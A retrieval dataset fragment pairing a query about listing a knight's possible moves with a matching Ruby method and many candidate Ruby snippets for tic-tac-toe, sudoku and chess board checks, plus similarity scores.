"def board_solved?\r\n # Check that all the cells are filled with values\r\n #\r\n (0 .. 8).each do |row|\r\n (0 .. 8).each do |col|\r\n return false unless board[row][col] > 0\r\n end\r\n end\r\n \r\n # Check column constraints\r\n #\r\n @board.each do |column|\r\n return false unless column.uniq.size == 9\r\n end\r\n \r\n # Check row constraints\r\n #\r\n @board.transpose.each do |column|\r\n return false unless column.uniq.size == 9\r\n end\r\n \r\n # Check box constraints\r\n #\r\n (0 .. 2).each do |box_x|\r\n (0 .. 2).each do |box_y|\r\n box_vals = []\r\n \r\n (0 .. 2).each do |i|\r\n (0 .. 2).each do |j|\r\n box_vals << @board[3 * box_x + i][3 * box_y + j]\r\n end\r\n end\r\n \r\n return false unless box_vals.uniq.size == 9\r\n end\r\n end\r\n \r\n true\r\n end",
"def covering_moves?(board)\n (board.word_positions).any? do |word_posns|\n positions >= word_posns\n end\n end",
"def board_won?\n\t\twon = false\n\t\t\n\t\tWINNING_POSITIONS.each do |positions|\n\t\t\tn = 0\n\t\t\tfor i in 0..8\n\t\t\t n += 1 if (positions[i] == @gameplay_positions[i] && positions[i] != 0)\n\t\t\tend\n\t\t\tif n == 3\n\t\t\t\twon = true\n\t\t\tend\n\t\tend\n\n\t\twon ? true : false\n\tend",
"def full?(board)\n\n full_board = [0,1,2,3,4,5,6,7,8].all? {|index| position_taken?(board, index)}\n return full_board\n\nend",
"def full?\n @board.all?{|occupied| occupied != \" \"}\n end",
"def full?(board)\n board_full = board.all? {|position| position == 'X' || position == 'O'}\n\n if (board_full)\n return true\n end\nend",
"def full?(board) #check if the board is full\n board.each_with_index do |position, index|\n if position_taken?(board, index) == false \n return false\n end\n end\n return true\nend",
"def board_full?(board)\n false\n true unless board.include?(INITIAL_MARKER)\nend",
"def multiple_pieces?\n 1 < all_coords.count { |coord| self[coord] != :empty }\n end",
"def full?(board)\n\t\tboard.all?{|cell| cell == \"X\" || cell == \"O\"}\n\tend",
"def board_full?\n @board.each do |row|\n row.each do |col|\n if col == @empty_square\n #stop at first empty space found\n return nil\n end\n end\n end\n return true\n end",
"def full?(board)\n filled_tiles = 0\n board.each { |tile| tile == \"X\" || tile == \"O\" ? (filled_tiles += 1) : ()}\n filled_tiles == 9 ? (return true) : (return false)\nend",
"def legal(coords)\n offsets = [ [1, 2], [-1, 2], [1, -2], [-1, -2], [2, 1], [-2, 1], [2, -1], [-2, -1] ]\n moves = []\n offsets.each do |offset|\n move = [@row+offset[0], @column+offset[1]]\n moves << move\n end\n #loop through possible moves\n moves.each do |move|\n #if chosen coords = moves array coords check if occupied\n if coords === move\n return occupied?(coords)\n end\n end\n return false \n end",
"def out_of_bounds?\n (0..@grid_size[0]).cover?(@coordinates[0]) &&\n (0..@grid_size[1]).cover?(@coordinates[1])\n end",
"def board_full?(brd)\n empty_squares(brd).empty?\n end",
"def full?(board)\n board.all?{|position| position == \"X\" || position == \"O\"}\nend",
"def full?(board)\n\tboard.all? do |cell|\n\t\tcell == \"X\" || cell == \"O\"\n\tend\nend",
"def full_board?\n @board.cells.each do |row|\n row.each do |cell|\n return false if cell.state == \" \"\n end\n end\n true\n end",
"def out_of_bounds?\n (0..@grid_size[0]).cover?(@coordinates[0]) &&\n (0..@grid_size[1]).cover?(@coordinates[1])\nend",
"def fullBoard(position)\n for x in 0..2\n for y in 0..2\n if position[x][y] == 0\n return false\n end\n end\n end\n return true\n end",
"def over?\n @board.pieces_coords(@current_color).all? do |coords|\n safe_moves(coords).empty?\n end\n end",
"def board_full?(brd)\n empty_squares(brd).empty?\nend",
"def board_full?(brd)\n empty_squares(brd).empty?\nend",
"def all_corners_filled?(board)\n\t\tarray = []\n\t\tcorner_1 = board.cells[CORNERS[0]-1]#1\n\t\tcorner_2 = board.cells[CORNERS[1]-1]#3\n\t\tcorner_3 = board.cells[CORNERS[2]-1]#9\n\t\tcorner_4 = board.cells[CORNERS[3]-1]#7\n\t\tarray += [corner_1,corner_2,corner_3,corner_4]\n\t\t# returns true if none of the corners are empty\n\t\t array.none?{|value|value == \" \"}\n\tend",
"def full?\n grid.each do |row|\n row.each do |location|\n return false if location.nil?\n end\n end\n true\n end",
"def full?\n\t\t@board.all? { |e|\n\t\t\te == \"X\" || e == \"O\"\n\t\t}\n\tend",
"def full?(board)\n board.all? do |location| \n location == \"X\" || location == \"O\"\n end\nend",
"def won?\n player_marker = @players[@current_player_idx].marker\n WINNING_LOCATIONS.each do |winning_triple|\n return true if winning_triple.map { |loc| @board[loc].fill_char == player_marker }.all?\n end\n false\n end",
"def won?\n grid.flatten.all?(&:face_up)\n end",
"def full?(board)\n return board.all?{|pos| pos == \"X\" or pos == \"O\"}\nend",
"def valid_position?(position)\r\n\tboard_size = 8\r\n\tposition[0].between?(0, board_size - 1) && position[1].between?(0, board_size - 1)\r\nend",
"def occupied?(x,y) #Returns true if the coordinate is in bounds and is occupied\n\t\tif (0...$dimensions[:x]).include?(x) && (0...$dimensions[:y]).include?(y)\n\t\t\t@board[y][x] == :wall\n\t\telse\n\t\t\ttrue\n\t\tend\n\tend",
"def full?(board)\n is_full = board.all? do |position|\n (position == \"X\" || position == \"O\")\n end\n return is_full\nend",
"def full?(board)\n#Return true if all positions on board are filled by X and/or O\n board.all?{|token| token == \"X\" || token == \"O\"}\nend",
"def valid_position?(position)\n\tboard_size = 8\n\tposition[0].between?(0, board_size - 1) && position[1].between?(0, board_size - 1)\nend",
"def over?(board_array)\n if full?(board_array) || won?(board_array)\n return true\n else\n return false\n end\nend",
"def overlapping?(coordinates)\n cell_used = false\n coordinates.each do |coordinate|\n if !cell_used\n cell_used = !@cells[coordinate].empty?\n end\n end\n cell_used\n end",
"def can_move_to?(position, color)\n @grid.each do |row|\n row.each do |square|\n if (square != nil && square.color == color &&\n square.moves.include?(position))\n return true\n end\n end\n end\n return false\n end",
"def valid_board?\n self.valid_rows? && self.valid_cols? && self.valid_squares?\n end",
"def valid?(position)\n row, col = position\n position.all? {|i| i >= 0 && i< @grid.length}\n \n end",
"def check_full(board)\n return true if board.all? { |i| i == \"x\" || i == \"o\" }\n return false\n end",
"def full?\n @board.all? { |location| location != \" \"}\n end",
"def full?(board)\n board.all?{|filled| filled == \"X\" || filled == \"O\"}\nend",
"def is_full?\n\t @grid.all? { |col| col.length == @rows }\n\tend",
"def within_board(space)\n inside = true\n if space[0] < 1 || space[0] > 8\n inside = false\n end\n if space[1] < 1 || space[1] > 8\n inside = false\n end\n return inside\n end",
"def full?(board)\n board.all? do |position|\n position == \"X\" || position == \"O\"\n end\nend",
"def full?(board)\n board.all? do |position|\n position == \"X\" || position == \"O\"\n end\nend",
"def full?(board)\n board.all? do |position|\n position == \"X\" || position == \"O\"\n end\nend",
"def full?(board)\n board.all? do |position|\n position == \"X\" || position == \"O\"\n end\nend",
"def over?(board)\n\n\n # is board full\n board.all? {|i| i == \"O\" || i == \"X\"}\n\n\nend",
"def possible_move?(coords)\n if @board.exists_at?(coords)\n piece = @board.at(coords)\n return (piece.nil? || piece.color != @current_color)\n end\n return false\n end",
"def full? #if theres no winning combos and the board is full? check to see\n @board.all?{|square| square!= \" \" }\n end",
"def full?\n is_full = @board.all? do |space|\n space ==\"X\" || space == \"O\"\n end\n if is_full\n true\n end\n end",
"def legal(coords)\n row_dist = (@row - coords[0]).abs\n col_dist = (@column - coords[1]).abs\n if row_dist > 1 || col_dist > 1\n return false\n elsif check\n puts \"cant move into check\"\n return false\n else\n return occupied?(coords)\n end\n end",
"def full?\n # If no 'board_position'/s are empty, returns 'true'. If 'board_position'/s remain empty, returns 'false'.\n if @board.none? {|board_position| board_position == \" \"}\n true\n end\n end",
"def full?\n @board.all? {|space| space == \"X\" || space == \"O\"}\n end",
"def is_full?\n\t\t@game_board.each do |x|\n\t\t\tx.each do |y|\n\t\t\t\tif y == \"\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\ttrue\n\tend",
"def full?\n @board.all? {|i| i == \"X\" || i == \"O\"}\n end",
"def full?(board)\n board.all? { |i| i == \"X\" || i == \"O\" }\n end",
"def winner?\n directions = [[1,0], [1,-1], [1,1], [0,1]]\n max_x = grid[0].length\n max_y = grid.length\n directions.each do |dx, dy|\n for x in (0...max_x) do\n for y in (0...max_y) do\n last_x = x + 3 * dx\n last_y = y + 3 * dy\n if 0 <= last_x && last_x < max_x && 0 <= last_y && last_y < max_y\n val = get_cell(x, y).value\n if (!val.empty? && val == get_cell(x + dx, y + dy).value && \n val == get_cell(x + 2 * dx, y + 2 * dy).value &&\n val == get_cell(x + 3 * dx, y + 3 * dy).value)\n return true\n end\n end\n end\n end\n end\n return false\n end",
"def full?(board)\n board.all? {|pos| pos == \"X\" || pos == \"O\"}\nend",
"def full?(board)\n board.all? do |spot|\n (spot == \"X\") || (spot == \"O\")\n end\nend",
"def full?(board_array)\r\n board_check = board_array.all? do |space|\r\n space != \" \"\r\n end\r\n \r\n if board_check\r\n return true #situation for a draw\r\n else\r\n return false #situation for an in-progress game\r\n end\r\nend",
"def over_bound?(x, y)\n if (x != @x || y != @y) && $game_map.valid?(x, y)\n max_w = $game_map.max_width ; max_h = $game_map.max_height\n screen_x = $game_map.adjust_x(x) * 32 + 16\n screen_y = $game_map.adjust_y(y) * 32 + 32\n sx = (screen_x / 32).to_i; sy = (screen_y / 32).to_i\n if sx.between?(0 - out_offset, max_w + out_offset) && \n sy.between?(0 - out_offset, max_h + out_offset)\n \n return false\n end # sx, sy\n end # xy != @xy && map_valid\n return true\n end",
"def is_coordinate_occupied(coordinate)\n @board[coordinate].nil?\n end",
"def check_grid_coordinates(x, y)\n (x >= 0) && (x < @height) && (y >= 0) && (y < @width)\n end",
"def gaps_covered_by?(board)\n row_range.all? do |row|\n col_range.all? do |col|\n @positions.include?([row, col]) || board.nonempty_space?(row, col)\n end\n end\n end",
"def on_table?(x,y)\n (0 <= x && x < GRID_X) && (0 <= y && y < GRID_Y)\n end",
"def full?(board)\n # indices = [0, 1, 2, 3, 4, 5, 6, 7, 8]\n # if indices.all? {|position| position_taken?(board, position, \"X\") || position_taken?(board, position, \"O\")}\n # return true\n # elsif board.include?(\" \")\n # return false\n if board.include?(\" \" || \"\" || nil)\n return false\n else\n return true\n end\nend",
"def all_water_in_column?(x, y_min, y_max)\n !self.positions.any? { |pos| pos.x == x && pos.y >= y_min && pos.y < y_max && !pos.water? }\n end",
"def full?(board)\n board.all? do |pos|\n pos == \"X\" || pos == \"O\"\n end\nend",
"def full?(board)\n board_is_full = board.all? do |space|\n space == \"X\" || space == \"O\"\n end\n return board_is_full\nend",
"def exists_at?(coords)\n coords.all? { |c| c.between?(0, 7) }\n end",
"def isBoardFull()\n\n # TO DO: COMPLETE THIS PART OF THE METHOD\n\n counter = 0\n totalSpaces = @size * @size\n\n for i in 0..@size-1\n for j in 0..@size-1\n if @board[i][j] != \"-\"\n counter = counter + 1\n end\n end\n end\n\n if counter == totalSpaces\n return true\n end\n\n\t\treturn false\n end",
"def occupied?(x, y)\n game.pieces.where(x_coordinates: x, y_coordinates: y).present?\n end",
"def isBoardFull()\n #\n # TO DO: add your code below\n\t\t#\n\t\tfor i in (0...@board.size)\n\t\t\tfor j in (0...@board.size)\n\t\t\t\tif @board[i][j] == EMPTY\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n # DO NOT DELETE THE LINE BELOW\n\t\treturn true;\n\tend"
] |
[
"0.80548596",
"0.77984095",
"0.7756664",
"0.7526133",
"0.7440196",
"0.7352483",
"0.73282796",
"0.72934544",
"0.7279896",
"0.7231397",
"0.7217839",
"0.720466",
"0.7139954",
"0.71274424",
"0.7124715",
"0.70857716",
"0.7083321",
"0.70783573",
"0.7077019",
"0.7072715",
"0.70556873",
"0.7052515",
"0.70011693",
"0.6998535",
"0.69865",
"0.69799197",
"0.6974418",
"0.69585276",
"0.69516134",
"0.69411004",
"0.69336957",
"0.692929",
"0.6928776",
"0.69177115",
"0.68936706",
"0.68703145",
"0.68667847",
"0.6865183",
"0.6864575",
"0.68592846",
"0.6855266",
"0.6817272",
"0.6815149",
"0.68134975",
"0.68101764",
"0.68002874",
"0.68002874",
"0.67947215",
"0.6789914",
"0.67869896",
"0.67823565",
"0.67706525",
"0.6769569",
"0.6762971",
"0.67616135",
"0.67571",
"0.6756448",
"0.674949",
"0.67493755",
"0.67479956",
"0.67472315",
"0.6744511",
"0.6741008",
"0.67323714",
"0.67284906",
"0.6726564",
"0.67262214",
"0.6719782",
"0.67134684",
"0.6713453",
"0.6713453",
"0.6713453",
"0.6713453",
"0.6712016",
"0.6702474",
"0.6700194",
"0.6694871",
"0.66825336",
"0.6672044",
"0.66687804",
"0.6663564",
"0.6652403",
"0.66496754",
"0.6644072",
"0.6639271",
"0.66348124",
"0.6632277",
"0.6630716",
"0.6626184",
"0.66246206",
"0.66236526",
"0.66158473",
"0.66104317",
"0.661034",
"0.6608957",
"0.6605302",
"0.6603754",
"0.6602499",
"0.66014487",
"0.6591045"
] |
0.8310522
|
0
|
Returns an array of ALL possible moves a knight could move to from given coordinates. Irrelevant of whether the move is on the board or not. Brute force.
|
def all_moves_array(initial_x, initial_y)
final = []
x = initial_x + 2
final << [x, initial_y+1] << [x, initial_y-1]
x = initial_x - 2
final << [x, initial_y+1] << [x, initial_y-1]
y = initial_y + 2
final << [initial_x+1, y] << [initial_x-1, y]
y = initial_y - 2
final << [initial_x+1, y] << [initial_x-1, y]
final
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def possible_moves\n all_moves = []\n x, y = @position\n moves = [[x, y-1], [x-1, y-1], [x-1, y], [x-1, y+1], [x, y+1], [x+1, y+1], [x+1, y], [x+1, y-1]]\n moves.each do |position|\n all_moves << [position] if position.all? { |number| number.between?(0,7) }\n end\n all_moves\n end",
"def find_possible_moves\n @possible_moves = []\n\n @moveset.each do |move, value|\n x = @x + value[0]\n y = @y + value[1]\n\n next unless ChessBoard.check_boundaries(x, y) && !visited_coordinates.include?([x, y])\n\n @possible_moves << move\n end\n end",
"def get_possible_moves\n moves = \n\t @@offsets.collect do |move| \n\t row = @position[:row] + move[0]\n\t col = @position[:col] + move[1]\n\t\t[row, col] if row.between?(0, 7) && col.between?(0, 7)\n\t end\n\tmoves.compact\n end",
"def possible_moves(board)\n poss_move_array = []\n current_square = @history.last\n current_coords = parse_coord(current_square)\n\n poss_move_array.push(single_march(current_coords, board)) if single_march(current_coords, board)\n\n poss_move_array.push(double_march(current_coords, board)) if first_move? && double_march(current_coords, board)\n\n valid_diagonals(current_coords, board).each { |move| poss_move_array.push(move) }\n\n # en passant only allowed opportunity first created\n poss_move_array.push(en_passant?(current_coords, board)) if en_passant?(current_coords, board)\n\n poss_move_array\n end",
"def possible_moves(position, board, color)\n out_array = []\n\n x = position[0]-1\n y = position[1]-1\n\n (x..x+2).each do |row|\n break if row > 7\n (y..y+2).each do |column|\n break if column > 7\n if !board[row][column] || board[row][column].color != color\n out_array.push([row, column])\n end\n end\n end\n\n out_array\n end",
"def possible_moves\n possible_moves = []\n\n # move up\n up_right = [start[X] + 1, start[Y] + 2]\n possible_moves << up_right\n\n up_left = [start[X] - 1, start[Y] + 2]\n possible_moves << up_left\n\n # move right\n right_up = [start[X] + 2, start[Y] + 1]\n possible_moves << right_up\n\n right_down = [start[X] + 2, start[Y] - 1]\n possible_moves << right_down\n\n # move down\n down_right = [start[X] + 1, start[Y] - 2]\n possible_moves << down_right\n\n down_left = [start[X] - 1, start[Y] - 2]\n possible_moves << down_left\n\n # move left\n left_up = [start[X] - 2, start[Y] + 1]\n possible_moves << left_up\n\n left_down = [start[X] - 2, start[Y] - 1]\n possible_moves << left_down\n\n possible_moves.select { |move| @board.valid_position?(move) }\n\n end",
"def find_winning_moves(board)\n winning_moves = []\n winning_moves.concat(winning_rows(board))\n winning_moves.concat(winning_cols(board))\n winning_moves.concat(winning_diags(board))\n return winning_moves\n end",
"def find_possible_moves(board)\n possibilities = []\n move_set.each do |move|\n rank = @location[0] + move[0]\n file = @location[1] + move[1]\n next unless valid_location?(rank, file)\n\n possibilities << [rank, file] unless board.data[rank][file]\n end\n possibilities\n end",
"def get_possible_moves_for(position)\n possible = []\n x = position.square[0]\n y = position.square[1]\n moves = [\n Placement.new([x-1,y-2], position), \n Placement.new([x-1,y+2], position), \n Placement.new([x-2,y-1], position), \n Placement.new([x-2,y+1], position), \n Placement.new([x+1,y+2], position), \n Placement.new([x+1,y-2], position), \n Placement.new([x+2,y-1], position), \n Placement.new([x+2,y+1], position)\n ]\n moves.each do |move|\n possible << move unless Chess.not_on_board?(move)\n end\n possible\n end",
"def get_moves\n [\n { row: @row + 1, col: @col + 2 },\n { row: @row + 1, col: @col - 2 },\n { row: @row + 2, col: @col + 1 },\n { row: @row + 2, col: @col - 1 },\n { row: @row - 1, col: @col + 2 },\n { row: @row - 1, col: @col - 2 },\n { row: @row - 2, col: @col + 1 },\n { row: @row - 2, col: @col - 1 }\n ].select do |move|\n [:blank_space, :enemy_piece].include? describe_location(move[:row], move[:col])\n end\n end",
"def possible_moves(x, y)\n @moves = [[x+1,y+2], [x+1,y-2],\n [x-1,y+2], [x-1,y-2],\n [x+2,y+1], [x+2,y-1],\n [x-2,y+1], [x-2,y-1]]\n\n end",
"def possibleMoves(position)\n moves = []\n for x in 0..2\n for y in 0..2\n if position[x][y]==0\n moves << 3*x + y + 1 #board labeled 1 - 9\n end\n end\n end\n return moves\n end",
"def possible_moves(side)\n possible_moves = []\n # initialize an 8x8 array of coordinates 1-8\n coords = Array.new(8) { [*1..8] }\n coords.each_with_index do |i, j|\n i.each do |t|\n # t is the x, i[j] is the y\n side.each do |test_piece|\n # Run move validation tests on every piece\n next unless test_piece.move_tests(to_x: t, to_y: i[j])\n # if a move passes validations, push the pieces ID and the\n # coordinates of a successful move to the possible_moves array\n possible_moves << [test_piece.id, t, i[j]]\n end\n end\n end\n possible_moves\n end",
"def find_possible_moves(board)\n possible_moves = []\n move_mechanics.each do |move|\n rank = @location[0] + move[0]\n file = @location[1] + move[1]\n next unless valid_location?(rank, file)\n\n possible_moves << [rank, file] unless board.data[rank][file]\n end\n possible_moves\n end",
"def knight_moves(position_start,position_end)\n \n\n move = [-2,-1,1,2,].product([-2,-1,1,2]).select do |x,y| x.abs != y.abs end\n \n board = (0..7).map do \n [Array.new(8,nil)]\n end\n \n queue= []\n queue.push(position_start)\n notFind = true\n \n \n while !queue.empty? && notFind \n position = queue.shift\n move.\n collect do |x,y| \n [position[0] + x , position[1] + y]\n end.\n find_all do |x,y| \n (0..7) === x && (0..7) === y \n end.\n each do |x,y|\n if board[x][y].nil? \n board[x][y] = position \n notFind = !(x == position_end[0] && y == position_end[1])\n queue.push([x,y])\n end \n end \n end\n \n path = []\n position = position_end\n path << position_end\n while position != position_start \n position = board[position[0]][position[1]]\n path.unshift(position)\n end\n \n path\n end",
"def moves\n output = []\n move_one = false\n @directions = @directions.take(3) if position != @initial_position\n directions.each_index do |index|\n possible_position = [position[0] + directions[index][0],position[1] + directions[index][1]]\n if index.even?\n if board.in_bounds?(possible_position) && occupied?(possible_position)\n output << possible_position unless board[possible_position].color == board[position].color\n end\n elsif index == 1\n if board.in_bounds?(possible_position) && !occupied?(possible_position)\n output << possible_position\n move_one = true\n end\n elsif board.in_bounds?(possible_position) && !occupied?(possible_position)\n output << possible_position if move_one\n end\n end\n output\n end",
"def moves\n possible_moves = []\n\n self.move_dirs.each do |dir|\n num_steps = 1\n blocked = false\n\n until blocked\n next_step = [dir[0]*num_steps, dir[1]*num_steps]\n next_pos = [self.pos[0] + next_step[0], self.pos[1] + next_step[1]]\n\n break unless next_pos.all? { |i| i.between?(0,7) }\n\n if self.board[next_pos]\n blocked = true\n possible_moves << next_pos unless self.color == self.board[next_pos].color\n else\n possible_moves << next_pos\n num_steps += 1\n end\n end\n end\n\n possible_moves\n end",
"def jump_moves\n moves = [] # initializes empty move array\n\n # choses \"forward\" y direction based on piece team\n if @team == \"l\"\n dir = 1\n else\n dir = -1\n end\n\n # looks at the two forward far diagonal positions and adds them to moves array if there are no pieces there and an opponent piece in between\n pos1 = [@x_pos + 2, @y_pos + 2*dir]\n moves << pos1 if Piece.all.find{|p| p.x_pos == @x_pos + 1 && p.y_pos == @y_pos + dir && p.team != @team} && Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos1}\n pos2 = [@x_pos - 2, @y_pos + 2*dir]\n moves << pos2 if Piece.all.find{|p| p.x_pos == @x_pos - 1 && p.y_pos == @y_pos + dir && p.team != @team} && Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos2}\n \n\n # deletes any moves with coordinates that aren't on the board\n moves.delete_if{|move| move.find{|n| n < 0 || n > 7}}\n return moves\n end",
"def possible_moves_in_board(position)\n POSSIBLE_MOVES.select do |move|\n x = position[0] + move[0]\n y = position[1] + move[1]\n\n within_board?(x, y)\n end\n end",
"def possible_moves(spaces)\n possible_moves = []\n if ((@position + 1) % 8 == 0)\n @moves = [8,7,-1,-9,-8]\n elsif (@position % 8 == 0)\n @moves = [-8,-7,1,9,8]\n end\n @moves.each do |move|\n possible_moves << (@position + move)\n end\n possible_moves.select! { |move| (0..63).include?(move) }\n possible_moves.select! do |move| \n spaces[move].class == Fixnum or spaces[move].side_id != @side_id ? true : false\n end\n possible_moves\n end",
"def next_possible_moves\n positions_array = []\n x = @position[0]\n y = @position[1]\n next_position = [x+1,y+2]\n positions_array << next_position if position_check(next_position)\n next_position = [x+1,y-2]\n positions_array << next_position if position_check(next_position)\n next_position = [x-1,y+2]\n positions_array << next_position if position_check(next_position)\n next_position = [x-1,y-2]\n positions_array << next_position if position_check(next_position)\n next_position = [x+2,y+1]\n positions_array << next_position if position_check(next_position)\n next_position = [x+2,y-1]\n positions_array << next_position if position_check(next_position)\n next_position = [x-2,y+1]\n positions_array << next_position if position_check(next_position)\n next_position = [x-2,y-1]\n positions_array << next_position if position_check(next_position)\n positions_array\n end",
"def valid_moves\n moves = []\n\n # go in all directions\n (-1..1).each do |_x_step|\n (-1..1).each do |_y_step|\n # start walking in that direction\n (1..7).each do |steps|\n x = x_coordinate + steps * x_direction\n y = y_coordinate + steps * y_direction\n\n # stop walking if you hit a wall\n break unless valid_move?(x, y)\n\n # remember the valid moves\n moves.push(Move.new(x, y))\n end\n end\n end\n moves\n end",
"def moves\n poss_moves = []\n determine_moves.each do |diff| #array of directions\n poss_moves += grow_unblocked_moves_in_dir(diff[0],diff[1])\n end\n poss_moves\n end",
"def moves\n available_moves = []\n\n deltas.each do |delta|\n next_move = self.position.zip_sum(delta)\n break unless on_board?(next_move)\n break unless empty_square?(next_move)\n available_moves << next_move\n end\n\n available_moves + capture_moves\n end",
"def possible_moves(position, board, color)\n out_array = []\n\n x = position[0]\n y = position[1]\n\n #going right\n while y < 7\n y += 1\n if board[x][y] && board[x][y].color != color\n out_array.push([x, y])\n break\n elsif board[x][y] && board[x][y].color == color\n break\n end\n out_array.push([x, y])\n end\n\n y = position[1]\n while y > 0\n y -= 1\n if board[x][y] && board[x][y].color != color\n out_array.push([x, y])\n break\n elsif board[x][y] && board[x][y].color == color\n break\n end\n out_array.push([x, y])\n end\n\n y = position[1]\n while x > 0\n x -= 1\n if board[x][y] && board[x][y].color != color\n out_array.push([x, y])\n break\n elsif board[x][y] && board[x][y].color == color\n break\n end\n out_array.push([x, y])\n end\n\n x = position[0]\n while x < 7\n x += 1\n if board[x][y] && board[x][y].color != color\n out_array.push([x, y])\n break\n elsif board[x][y] && board[x][y].color == color\n break\n end\n out_array.push([x, y])\n end\n\n\n out_array\n end",
"def moves\n return [] if @position.empty?\n possible_moves = []\n move_dirs.each do |dir| #[-1,-1]\n test_pos = @position #[1,3] - current position\n valid = true\n while valid\n x = dir.first + test_pos.first\n y = dir.last + test_pos.last\n test_pos = [x,y]\n valid = valid_move?([x,y])\n possible_moves << [x,y] if valid\n valid = false if valid == :attack\n end\n end\n possible_moves\n end",
"def possible_moves\r\n return [] if won?\r\n (0..8).select {|i| board.cells[i] == \" \"}\r\n end",
"def possible_king_moves(start_arr)\n\t\tx = start_arr[0]\n\t\ty = start_arr[1]\n\t\tcandidates = []\n\t\tcandidates << [x+1,y]\n\t\tcandidates << [x-1,y]\t\t\n\t\tcandidates << [x,y+1]\t\t\t\t\n\t\tcandidates << [x,y-1]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\tcandidates << [x+1,y+1]\n\t\tcandidates << [x-1,y-1]\t\n\t\tcandidates << [x-1,y+1]\t\t\t\t\n\t\tcandidates << [x+1,y-1]\t\t\t\t\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\t\tchildren.delete_if do |child|\n\t\t\tif !(@board[child] == \"*\")\n\t\t\t\t# If pieces not same color\n\t\t\t\tif @board[child].color == @board[start_arr].color\n\t\t\t\t\tif occupied(child)\n\t\t\t\t\t\tcan_do = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tchildren\n\tend",
"def regular_moves\n moves = [] # initializes empty move array\n\n # choses \"forward\" y direction based on piece team\n if @team == \"l\"\n dir = 1\n else\n dir = -1\n end\n \n # looks at the two forward diagonal positions and adds them to moves array if there are no pieces there\n pos1 = [@x_pos + 1, @y_pos + dir]\n moves << pos1 if Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos1}\n pos2 = [@x_pos - 1, @y_pos + dir]\n moves << pos2 if Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos2}\n \n # deletes any moves with coordinates that aren't on the board\n moves.delete_if{|move| move.find{|n| n < 0 || n > 7}}\n return moves \n end",
"def getPossibleFrom move\n possibleFrom = []\n move.board.pieces[move.piece.colour][move.piece.class.to_s.to_sym].each do |coord, piece|\n possibleFrom << coord\n end\n possibleFrom\n end",
"def generate_possible_moves(start_board)\n possible_moves = []\n\n # possible row moves\n start_board.row_count.times { |x|\n (start_board.col_count-1).times { |y|\n possible_moves << [x, y+1]\n }\n }\n\n # possible column moves\n start_board.col_count.times { |x|\n (start_board.row_count-1).times { |y|\n possible_moves << [start_board.row_count+x, y+1]\n }\n }\n\n return possible_moves\n end",
"def moves\n available_moves = []\n\n deltas.each do |delta|\n next_move = self.position.zip_sum(delta)\n break unless empty_square?(next_move)\n if on_board?(next_move)\n available_moves << next_move\n end\n end\n\n available_moves + capture_moves\n end",
"def get_all_possible_moves\n possible_moves = []\n @MOVES.each do |arr|\n possible_moves += get_possible_moves(arr)\n end\n possible_moves\n end",
"def possible_moves(position, board, color)\n out_array = []\n\n x = position[0]\n y = position[1]\n\n add_to_move_array(x - 1, y - 2, board, color, out_array)\n add_to_move_array(x - 2, y - 1, board, color, out_array)\n add_to_move_array(x - 2, y + 1, board, color, out_array)\n add_to_move_array(x - 1, y + 2, board, color, out_array)\n add_to_move_array(x + 1, y + 2, board, color, out_array)\n add_to_move_array(x + 2, y + 1, board, color, out_array)\n add_to_move_array(x + 2, y - 1, board, color, out_array)\n add_to_move_array(x + 1, y - 2, board, color, out_array)\n\n out_array\n end",
"def neighbor_boards(tiles_order)\n blank_tile_index = tiles_order.index(9)\n return legal_moves(blank_tile_index).map do |legal_move|\n ret_arr = tiles_order.clone\n ret_arr[blank_tile_index] = tiles_order[legal_move]\n ret_arr[legal_move] = 9\n ret_arr\n end\n end",
"def legal_moves\n moves = []\n\n # FOR SIMPLICITY require move to be within outer bounds\n # Calculate range of space to check\n\n row_min = [@outer_bounds[:top] - 1, 0].max\n row_max = [@outer_bounds[:bottom] + 1, 18].min\n\n column_min = [@outer_bounds[:left] - 1, 0].max\n column_max = [@outer_bounds[:right] + 1, 18].min\n (row_min..row_max).each do |i|\n (column_min..column_max).each do |j|\n if position[i][j] == \".\" # && !moves.index([i, j])\n moves << [i, j]\n end\n end\n end\n\n moves\n end",
"def move_origins(moves = nil)\n moves ||= MOVES[move.piece.downcase]\n possibilities = []\n file, rank = destination_coords\n\n moves.each do |i, j|\n f = file + i\n r = rank + j\n\n possibilities << [f, r] if valid_square?(f, r) && board.at(f, r) == move.piece\n end\n\n possibilities\n end",
"def available_moves(from_cell, chessboard)\n map_chess_move_array(from_cell, available_cells(from_cell, chessboard))\n end",
"def possible_moves\n possibles = []\n @state.each_with_index do |column, i|\n possibles << i if column[5] == :e\n end\n possibles\n end",
"def moves\n directions = MOVE_DIRECTIONS[self.piece_type]\n directions.map do |(dx, dy)|\n x, y = self.position\n [x + dx, y + dy]\n end.select { |coord| on_board?(coord) && not_blocked?(coord) }\n\n # cond = board[[coord]].nil? || board[[coord]].color != self.color\n # opp_cond = !(board[coord].color == self.color)\n # coord = [2,4]\n # [[2,3], nil, [3,4]]\n #(self.board[coord].color != self.color)\n end",
"def available_moves(board)\n\t\tmoves = []\n\t\tboard.each_with_index{|cell, index| moves << index.to_s if cell == \" \"}\n\t\tmoves\n\tend",
"def moves\n all_moves = []\n self.move_dirs.each do |move| \n if ((0..7).include?(self.pos[0] + move[0]) && (0..7).include?(self.pos[1] + move[1])) && !(@board[(self.pos[0] + move[0]), (self.pos[1] + move[1])].is_a?(Piece)) #|| self.color == \n all_moves << [(self.pos[0] + move[0]), (self.pos[1] + move[1])]\n end \n end\n all_moves\n end",
